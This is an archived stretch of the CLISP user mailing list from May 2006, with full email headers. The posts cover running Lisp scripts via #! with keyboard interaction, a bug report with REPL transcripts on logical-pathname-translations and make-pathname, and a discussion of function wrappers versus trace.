FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 12:04:08 2006 X-Original-Date: Sun, 21 May 2006 12:03:55 -0700 Pascal Bourguignon writes: > Well, really, everything should be put in a file and either load it or > run it as a #! script; then you have full control. Running from #! does not give you keyboard interaction. Load does not let you change the package outside of the load. That means that if you interrupt and abort the load then you're not in the package you want. From pjb@informatimago.com Sun May 21 14:10:28 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhvC0-0005mE-1V for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 14:10:28 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhvBw-000761-Vh for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 14:10:27 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 52609585E7; Sun, 21 May 2006 23:10:21 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6DD2A585E6; Sun, 21 May 2006 23:10:19 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D507B87C3; Sun, 21 May 2006 23:10:18 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17520.55098.833863.574034@thalassa.informatimago.com> To: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Cc: , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -p argument getting lost In-Reply-To: <17520.47515.396217.774235@isis.cs3-inc.com> References: <17520.40763.642118.229989@isis.cs3-inc.com> <17520.43042.453111.220172@thalassa.informatimago.com> <17520.44937.155980.405533@isis.cs3-inc.com> <17520.46728.360798.238940@thalassa.informatimago.com> <17520.47515.396217.774235@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 14:11:04 2006 X-Original-Date: Sun, 21 May 2006 23:10:18 +0200 Don Cohen writes: > Pascal Bourguignon writes: > > > Well, really, everything should be put in a file and either load it or > > run it as a #! script; then you have full control. > > Running from #! does not give you keyboard interaction. What do you mean? #!/usr/local/bin/clisp -ansi -q -on-error debug ;; -*- mode: lisp -*- (when (yes-or-no-p "Ready to test ext:with-keyboard?") (screen:with-window (ext:with-keyboard (loop :for column :from 10 :for keyboard-input = (read-char ext:*keyboard-input*) :for ch = (system::input-character-char keyboard-input) :until (member ch '(#\Return #\linefeed #\return) :test (function char=)) :initially (screen:set-window-cursor-position screen:*window* 2 column) :do (progn (screen:set-window-cursor-position screen:*window* (+ 2 column) 2) (format screen:*window* "~S" keyboard-input) (when (characterp ch) (screen:set-window-cursor-position screen:*window* 2 column) (princ ch screen:*window*))))))) ;; This works perfectly! > Load does not let you change the package outside of the load. > That means that if you interrupt and abort the load then you're > not in the package you want. Yes, that's why I'm telling you to use #!. Then, you never get outside of the load, and you always control in what package you are. -- __Pascal Bourguignon__ http://www.informatimago.com/ Small brave carnivores Kill pine cones and mosquitoes Fear vacuum cleaner From pjb@informatimago.com Sun May 21 15:12:17 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhw9p-00045I-Ld for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 15:12:17 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fhw9p-0002p1-JV for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 15:12:17 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fhw9n-0000Hs-Ja for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 15:12:17 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C96DA585E7; Mon, 22 May 2006 00:12:09 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3B4CF582FA; Mon, 22 May 2006 00:12:06 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1642C87C5; Mon, 22 May 2006 00:12:06 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Reply-To: Message-Id: <20060521221206.1642C87C5@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] logical-pathname-translations : better ; make-pathname vs #P : bad Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 15:13:04 2006 X-Original-Date: Mon, 22 May 2006 00:12:06 +0200 (CEST) Hello, With latest CVS File: pathname.d Status: Up-to-date Working revision: 1.393 Repository revision: 1.393 /cvsroot/clisp/clisp/src/pathname.d,v on MacOSX 10.4.6 / MacMini Intel Core Solo, translate-logical-pathname doesn't crash anymore, and with logical pathnames that contain the logical host, it works now: [1]> (setf (logical-pathname-translations "PACKAGES") '((#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*") (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))) ((#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*") (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) [2]> (directory #P"PACKAGES:*;") (#P"/usr/local/share/lisp/packages/org/" #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/" #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/" #P"/usr/local/share/lisp/packages/com/") but it doens't work anymore if the logical pathnames don't contain the logical host (this may be wanted, and is within the specifications, but this is an upward incompatibility): [3]> (logical-pathname-translations "PACKAGES") ((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*") (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) [4]> (directory "PACKAGES:*;") NIL [5]> (directory #P"/usr/local/share/lisp/packages/*/") (#P"/usr/local/share/lisp/packages/org/" #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/" #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/" #P"/usr/local/share/lisp/packages/com/") In any case, it seems that an inconsistency occurs because of the way make-pathname works on an unknown logical host: #P"NEWHOST:**;*" --> #P"NEWHOST:**;*" (make-pathname :host "NEWHOST" :directory '(:absolute :wild-inferiors) :name :wild) --> #P"/**/*" This is unfortunate, since the later doesn't allow TRANSLATE-LOGICAL-PATHNAME to work anymore... /usr/local/languages/clisp-cvs-2/bin/clisp -ansi -norc i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2006 [1]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*" #P"/tmp/**/*"))) ((#P"TEST:**;*" #P"/tmp/**/*")) [2]> (logical-pathname-translations "TEST") ((#P"TEST:**;*" #P"/tmp/**/*")) [3]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*" #P"/tmp/**/*"))) ((#P"TEST:**;*" #P"/tmp/**/*")) [4]> (logical-pathname-translations "TEST") ((#P"TEST:**;*" #P"/tmp/**/*")) [5]> (setf (logical-pathname-translations "TOST") (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild)))) ((#P"/**/*")) [6]> (logical-pathname-translations "TOST") ((#P"/**/*")) [7]> (setf (logical-pathname-translations "TOST") (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild)))) ((#P"TOST:**;*")) [8]> (logical-pathname-translations "TOST") ((#P"TOST:**;*")) [12]> (PRINT-BUG-REPORT-INFO) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.38 (2006-01-24) (built 3357224260) (memory 3357225089)" SOFTWARE-TYPE "gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_READLINE -DNO_GETTEXT -I. -L/usr/local/lib -x none libcharset.a -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.3 libiconv 1.9" SOFTWARE-VERSION "GNU C 4.0.1 (Apple Computer, Inc. build 5250)" MACHINE-INSTANCE "voyager-2.lan.informatimago.com [195.114.85.203]" MACHINE-TYPE "I386" MACHINE-VERSION "I386" *FEATURES* (:REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS) -- __Pascal Bourguignon__ http://www.informatimago.com/ PUBLIC NOTICE AS REQUIRED BY LAW: Any use of this product, in any manner whatsoever, will increase the amount of disorder in the universe. Although no liability is implied herein, the consumer is warned that this process will ultimately lead to the heat death of the universe. From pjb@informatimago.com Sun May 21 15:28:55 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhwPt-0005mr-R4 for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 15:28:53 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhwPr-00081T-Nm for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 15:28:53 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id D262B585D4; Mon, 22 May 2006 00:28:48 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id F1A30585E6; Mon, 22 May 2006 00:28:44 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D7ECA87C5; Mon, 22 May 2006 00:28:44 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Reply-To: Message-Id: <20060521222844.D7ECA87C5@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] logical-pathname-translations : better ; make-pathname vs #P : bad Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 15:29:04 2006 X-Original-Date: Mon, 22 May 2006 00:28:44 +0200 (CEST) Hello, With latest CVS File: pathname.d Status: Up-to-date Working revision: 1.393 Repository revision: 1.393 /cvsroot/clisp/clisp/src/pathname.d,v on MacOSX 10.4.6 / MacMini Intel Core Solo, translate-logical-pathname doesn't crash anymore, and with logical pathnames that contain the logical host, it works now: [1]> (setf (logical-pathname-translations "PACKAGES") '((#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*") (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))) ((#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*") (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) [2]> (directory #P"PACKAGES:*;") (#P"/usr/local/share/lisp/packages/org/" #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/" #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/" #P"/usr/local/share/lisp/packages/com/") but it doens't work anymore if the logical pathnames don't contain the logical host (this may be wanted, and is within the specifications, but this is an upward incompatibility): [3]> (logical-pathname-translations "PACKAGES") ((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*") (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) [4]> (directory "PACKAGES:*;") NIL [5]> (directory #P"/usr/local/share/lisp/packages/*/") (#P"/usr/local/share/lisp/packages/org/" #P"/usr/local/share/lisp/packages/net/" #P"/usr/local/share/lisp/packages/it/" #P"/usr/local/share/lisp/packages/edu/" #P"/usr/local/share/lisp/packages/de/" #P"/usr/local/share/lisp/packages/com/") In any case, it seems that an inconsistency occurs because of the way make-pathname works on an unknown logical host: #P"NEWHOST:**;*" --> #P"NEWHOST:**;*" (make-pathname :host "NEWHOST" :directory '(:absolute :wild-inferiors) :name :wild) --> #P"/**/*" This is unfortunate, since the later doesn't allow TRANSLATE-LOGICAL-PATHNAME to work anymore... /usr/local/languages/clisp-cvs-2/bin/clisp -ansi -norc i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2006 [1]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*" #P"/tmp/**/*"))) ((#P"TEST:**;*" #P"/tmp/**/*")) [2]> (logical-pathname-translations "TEST") ((#P"TEST:**;*" #P"/tmp/**/*")) [3]> (setf (logical-pathname-translations "TEST") '((#P"TEST:**;*" #P"/tmp/**/*"))) ((#P"TEST:**;*" #P"/tmp/**/*")) [4]> (logical-pathname-translations "TEST") ((#P"TEST:**;*" #P"/tmp/**/*")) [5]> (setf (logical-pathname-translations "TOST") (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild)))) ((#P"/**/*")) [6]> (logical-pathname-translations "TOST") ((#P"/**/*")) [7]> (setf (logical-pathname-translations "TOST") (list (list (make-pathname :host "TOST" :directory '(:absolute :wild-inferiors) :name :wild)))) ((#P"TOST:**;*")) [8]> (logical-pathname-translations "TOST") ((#P"TOST:**;*")) One more thing that's puzzling me: How did this *.*.*.NEWEST appear? /usr/local/languages/clisp-cvs-2/bin/clisp -ansi -q -norc [1]> (EVAL-WHEN (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (DEFVAR *LOGICAL-HOSTS* '())) *LOGICAL-HOSTS* [2]> (DEFUN DEF-LP-TRANS (HOST PATH &OPTIONAL (SUBPATH "")) (PUSHNEW HOST *LOGICAL-HOSTS* :TEST (FUNCTION STRING-EQUAL)) ;; If the HOST is already defined we don't change it (eg. HOME): (UNLESS (HANDLER-CASE (LOGICAL-PATHNAME-TRANSLATIONS HOST) (ERROR () NIL)) (dotimes (i 2) ; this is to avoid a bug in some versions of clisp... (print (mapcar (lambda (tail) (list (merge-pathnames tail (make-pathname :host host :directory '(:absolute :wild-inferiors))) (merge-pathnames tail (make-pathname :directory (APPEND (PATHNAME-DIRECTORY PATH) (CDR (PATHNAME-DIRECTORY SUBPATH)) '( :WILD-INFERIORS )))))) '(#P"*" #P"*.*" #P"*.*.*"))) (SETF (LOGICAL-PATHNAME-TRANSLATIONS HOST) (mapcar (lambda (tail) (list (merge-pathnames tail (make-pathname :host host :directory '(:absolute :wild-inferiors))) (merge-pathnames tail (make-pathname :directory (APPEND (PATHNAME-DIRECTORY PATH) (CDR (PATHNAME-DIRECTORY SUBPATH)) '( :WILD-INFERIORS )))))) '(#P"*" #P"*.*" #P"*.*.*")))))) DEF-LP-TRANS [3]> (DEFPARAMETER +SHARE-LISP+ "/usr/local/share/lisp/") +SHARE-LISP+ [4]> (DEF-LP-TRANS "PACKAGES" +SHARE-LISP+ "packages/") ((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*") (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) ((#P"PACKAGES:**;*.NEWEST" #P"/usr/local/share/lisp/packages/**/*") (#P"PACKAGES:**;*.*.NEWEST" #P"/usr/local/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*.*.*.NEWEST" #P"/usr/local/share/lisp/packages/**/*.*.*")) NIL I bet the bug is here: [5]> (pathname-version #P"*.*.*") NIL [6]> (pathname-type #P"*.*.*") :WILD [7]> (pathname-name #P"*.*.*") "*.*" [8]> [12]> (PRINT-BUG-REPORT-INFO) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.38 (2006-01-24) (built 3357224260) (memory 3357225089)" SOFTWARE-TYPE "gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_READLINE -DNO_GETTEXT -I. -L/usr/local/lib -x none libcharset.a -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.3 libiconv 1.9" SOFTWARE-VERSION "GNU C 4.0.1 (Apple Computer, Inc. build 5250)" MACHINE-INSTANCE "voyager-2.lan.informatimago.com [195.114.85.203]" MACHINE-TYPE "I386" MACHINE-VERSION "I386" *FEATURES* (:REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS) -- __Pascal Bourguignon__ http://www.informatimago.com/ PUBLIC NOTICE AS REQUIRED BY LAW: Any use of this product, in any manner whatsoever, will increase the amount of disorder in the universe. Although no liability is implied herein, the consumer is warned that this process will ultimately lead to the heat death of the universe. From lisp-clisp-list@m.gmane.org Sun May 21 16:11:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhx4o-0001rp-FD for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:11:10 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Fhx4n-0008Uz-Rf for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:11:10 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Fhx4g-0003Cm-76 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 01:11:02 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 22 May 2006 01:11:02 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 22 May 2006 01:11:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 17 Message-ID: References: <20060521032211.DFD16173FD@sc8-sf-spam2.sourceforge.net> <17519.58516.834804.524157@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Function wrapping utility Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 16:12:02 2006 X-Original-Date: Sun, 21 May 2006 23:10:52 +0000 (UTC) Don Cohen isis.cs3-inc.com> writes: > > > I know there is a utility for wrapping regular function in AllegroCL. From a > > user perspective it works somewhat similar to :around method in a gen-function. > This is what trace does. See the options in impnotes 25.2.5 It seems to me that there is a small confusion. One may use fwrapper to create a utility like trace. But this is not the only possible use of fwrapper. In my opinion, the real place for fwrappers is in modification of behaviour of black-boxes. Say you have black-box A, which uses black-box B. Modifying behaviour of B leads to a new behaviour of A. This scenario is not about tracing or debugging. One cannot use trace for this, right? Trace traces execution of a given function, i.e. function is executed. But when you make a wrapper for a function in ACL, there might be no execution of a wrapped function. And a wrapped function can be itself a wrapped function. From lisp-clisp-list@m.gmane.org Sun May 21 16:24:57 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhxI9-000383-0f for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:24:57 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FhxI8-0008Ab-VZ for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:24:57 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FhxI6-0007An-Bk for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:24:56 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FhxI0-0004yl-28 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 01:24:48 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 22 May 2006 01:24:48 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 22 May 2006 01:24:48 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Subject: Re: [clisp-list] Function wrapping utility Lines: 17 Message-ID: References: <2166.3064-22398-870961294-1148179196@seznam.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 16:25:03 2006 X-Original-Date: Sun, 21 May 2006 23:24:34 +0000 (UTC) Jakub Hegenbart seznam.cz> writes: > http://www.cs.cmu.edu/~dst/Lisp/dtrace/dtrace.generic Trace utility can be 